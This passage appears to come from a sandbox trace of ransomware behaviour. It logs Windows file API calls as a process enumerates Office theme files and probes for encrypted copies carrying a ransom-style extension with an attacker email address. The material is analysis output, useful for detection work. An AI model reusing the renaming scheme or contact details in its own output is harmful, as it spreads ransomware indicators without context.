Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0242.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0242.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.400] SetEvent (hEvent=0x118) returned 1 [0242.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.401] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=85056) returned 1 [0242.401] CloseHandle (hObject=0x200) returned 1 [0242.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0242.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0242.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.406] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=500) returned 1 [0242.406] CloseHandle (hObject=0x200) returned 1 [0242.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0242.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0242.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.407] SetEvent (hEvent=0x118) returned 1 [0242.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.408] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=27177) returned 1 [0242.408] CloseHandle (hObject=0x200) returned 1 [0242.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0242.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0242.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.410] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2209) returned 1 [0242.410] CloseHandle (hObject=0x200) returned 1 [0242.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0242.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0242.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.512] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=54687) returned 1 [0242.512] CloseHandle (hObject=0x1f0) returned 1 [0242.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0242.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0242.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.513] SetEvent (hEvent=0x118) returned 1 [0242.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.514] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=21812) returned 1 [0242.514] CloseHandle (hObject=0x1f0) returned 1 [0242.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0242.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0242.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.516] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2527) returned 1 [0242.516] CloseHandle (hObject=0x1f0) returned 1 [0242.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0242.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0242.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.523] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=68337) returned 1 [0242.524] CloseHandle (hObject=0xe0) returned 1 [0242.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0242.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0242.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.524] SetEvent (hEvent=0x118) returned 1 [0242.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.528] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=466) returned 1 [0242.528] CloseHandle (hObject=0xe0) returned 1 [0242.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0242.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0242.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.529] SetEvent (hEvent=0x118) returned 1 [0242.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.532] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=19525) returned 1 [0242.532] CloseHandle (hObject=0xe0) returned 1 [0242.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0242.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0242.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.533] SetEvent (hEvent=0x118) returned 1 [0242.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.533] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1737) returned 1 [0242.533] CloseHandle (hObject=0xe0) returned 1 [0242.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0242.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0242.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.535] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=57906) returned 1 [0242.535] CloseHandle (hObject=0xe0) returned 1 [0242.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0242.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0242.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.540] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=625) returned 1 [0242.540] CloseHandle (hObject=0xe0) returned 1 [0242.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0242.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0242.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.541] SetEvent (hEvent=0x118) returned 1 [0242.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.543] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=33479) returned 1 [0242.543] CloseHandle (hObject=0xe0) returned 1 [0242.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0242.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0242.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.544] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1675) returned 1 [0242.545] CloseHandle (hObject=0xe0) returned 1 [0242.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0242.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0242.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 